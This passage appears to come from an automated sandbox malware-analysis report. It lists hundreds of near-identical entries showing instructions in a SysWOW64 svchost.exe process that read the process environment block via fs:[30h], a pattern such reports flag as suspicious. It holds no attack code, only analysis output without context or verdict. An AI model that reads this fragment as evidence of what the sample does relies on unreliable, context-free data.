            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6500 mov eax, dword ptr fs:[00000030h]2_2_036C6500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036325E0 mov eax, dword ptr fs:[00000030h]2_2_036325E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C5ED mov eax, dword ptr fs:[00000030h]2_2_0366C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C5ED mov eax, dword ptr fs:[00000030h]2_2_0366C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E5CF mov eax, dword ptr fs:[00000030h]2_2_0366E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E5CF mov eax, dword ptr fs:[00000030h]2_2_0366E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036365D0 mov eax, dword ptr fs:[00000030h]2_2_036365D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A5D0 mov eax, dword ptr fs:[00000030h]2_2_0366A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A5D0 mov eax, dword ptr fs:[00000030h]2_2_0366A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]2_2_036B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]2_2_036B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]2_2_036B05A7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036545B1 mov eax, dword ptr fs:[00000030h]2_2_036545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036545B1 mov eax, dword ptr fs:[00000030h]2_2_036545B1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632582 mov eax, dword ptr fs:[00000030h]2_2_03632582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632582 mov ecx, dword ptr fs:[00000030h]2_2_03632582
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03664588 mov eax, dword ptr fs:[00000030h]2_2_03664588
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E59C mov eax, dword ptr fs:[00000030h]2_2_0366E59C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC460 mov ecx, dword ptr fs:[00000030h]2_2_036BC460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]2_2_0365A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]2_2_0365A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]2_2_0365A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EA456 mov eax, dword ptr fs:[00000030h]2_2_036EA456
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362645D mov eax, dword ptr fs:[00000030h]2_2_0362645D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365245A mov eax, dword ptr fs:[00000030h]2_2_0365245A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]2_2_0362E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]2_2_0362E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362E420 mov eax, dword ptr fs:[00000030h]2_2_0362E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C427 mov eax, dword ptr fs:[00000030h]2_2_0362C427
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6420 mov eax, dword ptr fs:[00000030h]2_2_036B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A430 mov eax, dword ptr fs:[00000030h]2_2_0366A430
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]2_2_03668402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]2_2_03668402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668402 mov eax, dword ptr fs:[00000030h]2_2_03668402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036304E5 mov ecx, dword ptr fs:[00000030h]2_2_036304E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036364AB mov eax, dword ptr fs:[00000030h]2_2_036364AB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036644B0 mov ecx, dword ptr fs:[00000030h]2_2_036644B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BA4B0 mov eax, dword ptr fs:[00000030h]2_2_036BA4B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EA49A mov eax, dword ptr fs:[00000030h]2_2_036EA49A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362CB7E mov eax, dword ptr fs:[00000030h]2_2_0362CB7E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E4B4B mov eax, dword ptr fs:[00000030h]2_2_036E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E4B4B mov eax, dword ptr fs:[00000030h]2_2_036E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]2_2_03702B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]2_2_03702B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]2_2_03702B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03702B57 mov eax, dword ptr fs:[00000030h]2_2_03702B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6B40 mov eax, dword ptr fs:[00000030h]2_2_036C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6B40 mov eax, dword ptr fs:[00000030h]2_2_036C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FAB40 mov eax, dword ptr fs:[00000030h]2_2_036FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D8B42 mov eax, dword ptr fs:[00000030h]2_2_036D8B42
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628B50 mov eax, dword ptr fs:[00000030h]2_2_03628B50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DEB50 mov eax, dword ptr fs:[00000030h]2_2_036DEB50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EB20 mov eax, dword ptr fs:[00000030h]2_2_0365EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EB20 mov eax, dword ptr fs:[00000030h]2_2_0365EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F8B28 mov eax, dword ptr fs:[00000030h]2_2_036F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F8B28 mov eax, dword ptr fs:[00000030h]2_2_036F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704B00 mov eax, dword ptr fs:[00000030h]2_2_03704B00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AEB1D mov eax, dword ptr fs:[00000030h]2_2_036AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]2_2_03638BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]2_2_03638BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638BF0 mov eax, dword ptr fs:[00000030h]2_2_03638BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EBFC mov eax, dword ptr fs:[00000030h]2_2_0365EBFC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BCBF0 mov eax, dword ptr fs:[00000030h]2_2_036BCBF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]2_2_03650BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]2_2_03650BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03650BCB mov eax, dword ptr fs:[00000030h]2_2_03650BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]2_2_03630BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]2_2_03630BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630BCD mov eax, dword ptr fs:[00000030h]2_2_03630BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DEBD0 mov eax, dword ptr fs:[00000030h]2_2_036DEBD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640BBE mov eax, dword ptr fs:[00000030h]2_2_03640BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640BBE mov eax, dword ptr fs:[00000030h]2_2_03640BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E4BB0 mov eax, dword ptr fs:[00000030h]2_2_036E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E4BB0 mov eax, dword ptr fs:[00000030h]2_2_036E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]2_2_0366CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]2_2_0366CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA6F mov eax, dword ptr fs:[00000030h]2_2_0366CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DEA60 mov eax, dword ptr fs:[00000030h]2_2_036DEA60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036ACA72 mov eax, dword ptr fs:[00000030h]2_2_036ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036ACA72 mov eax, dword ptr fs:[00000030h]2_2_036ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636A50 mov eax, dword ptr fs:[00000030h]2_2_03636A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640A5B mov eax, dword ptr fs:[00000030h]2_2_03640A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640A5B mov eax, dword ptr fs:[00000030h]2_2_03640A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA24 mov eax, dword ptr fs:[00000030h]2_2_0366CA24
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365EA2E mov eax, dword ptr fs:[00000030h]2_2_0365EA2E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03654A35 mov eax, dword ptr fs:[00000030h]2_2_03654A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03654A35 mov eax, dword ptr fs:[00000030h]2_2_03654A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366CA38 mov eax, dword ptr fs:[00000030h]2_2_0366CA38
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BCA11 mov eax, dword ptr fs:[00000030h]2_2_036BCA11
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366AAEE mov eax, dword ptr fs:[00000030h]2_2_0366AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366AAEE mov eax, dword ptr fs:[00000030h]2_2_0366AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]2_2_03686ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]2_2_03686ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686ACC mov eax, dword ptr fs:[00000030h]2_2_03686ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630AD0 mov eax, dword ptr fs:[00000030h]2_2_03630AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03664AD0 mov eax, dword ptr fs:[00000030h]2_2_03664AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03664AD0 mov eax, dword ptr fs:[00000030h]2_2_03664AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638AA0 mov eax, dword ptr fs:[00000030h]2_2_03638AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638AA0 mov eax, dword ptr fs:[00000030h]2_2_03638AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03686AA4 mov eax, dword ptr fs:[00000030h]2_2_03686AA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363EA80 mov eax, dword ptr fs:[00000030h]2_2_0363EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704A80 mov eax, dword ptr fs:[00000030h]2_2_03704A80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668A90 mov edx, dword ptr fs:[00000030h]2_2_03668A90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]2_2_03656962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]2_2_03656962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03656962 mov eax, dword ptr fs:[00000030h]2_2_03656962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E mov eax, dword ptr fs:[00000030h]2_2_0367096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E mov edx, dword ptr fs:[00000030h]2_2_0367096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0367096E mov eax, dword ptr fs:[00000030h]2_2_0367096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D4978 mov eax, dword ptr fs:[00000030h]2_2_036D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D4978 mov eax, dword ptr fs:[00000030h]2_2_036D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC97C mov eax, dword ptr fs:[00000030h]2_2_036BC97C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0946 mov eax, dword ptr fs:[00000030h]2_2_036B0946
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704940 mov eax, dword ptr fs:[00000030h]2_2_03704940
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B892A mov eax, dword ptr fs:[00000030h]2_2_036B892A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C892B mov eax, dword ptr fs:[00000030h]2_2_036C892B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE908 mov eax, dword ptr fs:[00000030h]2_2_036AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE908 mov eax, dword ptr fs:[00000030h]2_2_036AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC912 mov eax, dword ptr fs:[00000030h]2_2_036BC912
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628918 mov eax, dword ptr fs:[00000030h]2_2_03628918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628918 mov eax, dword ptr fs:[00000030h]2_2_03628918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE9E0 mov eax, dword ptr fs:[00000030h]2_2_036BE9E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036629F9 mov eax, dword ptr fs:[00000030h]2_2_036629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036629F9 mov eax, dword ptr fs:[00000030h]2_2_036629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C69C0 mov eax, dword ptr fs:[00000030h]2_2_036C69C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A9D0 mov eax, dword ptr fs:[00000030h]2_2_0363A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036649D0 mov eax, dword ptr fs:[00000030h]2_2_036649D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036FA9D3 mov eax, dword ptr fs:[00000030h]2_2_036FA9D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036429A0 mov eax, dword ptr fs:[00000030h]2_2_036429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036309AD mov eax, dword ptr fs:[00000030h]2_2_036309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036309AD mov eax, dword ptr fs:[00000030h]2_2_036309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B89B3 mov esi, dword ptr fs:[00000030h]2_2_036B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B89B3 mov eax, dword ptr fs:[00000030h]2_2_036B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B89B3 mov eax, dword ptr fs:[00000030h]2_2_036B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE872 mov eax, dword ptr fs:[00000030h]2_2_036BE872
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE872 mov eax, dword ptr fs:[00000030h]2_2_036BE872
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6870 mov eax, dword ptr fs:[00000030h]2_2_036C6870
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6870 mov eax, dword ptr fs:[00000030h]2_2_036C6870
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03642840 mov ecx, dword ptr fs:[00000030h]2_2_03642840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660854 mov eax, dword ptr fs:[00000030h]2_2_03660854
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634859 mov eax, dword ptr fs:[00000030h]2_2_03634859
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634859 mov eax, dword ptr fs:[00000030h]2_2_03634859
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov ecx, dword ptr fs:[00000030h]2_2_03652835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03652835 mov eax, dword ptr fs:[00000030h]2_2_03652835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A830 mov eax, dword ptr fs:[00000030h]2_2_0366A830
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D483A mov eax, dword ptr fs:[00000030h]2_2_036D483A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036D483A mov eax, dword ptr fs:[00000030h]2_2_036D483A
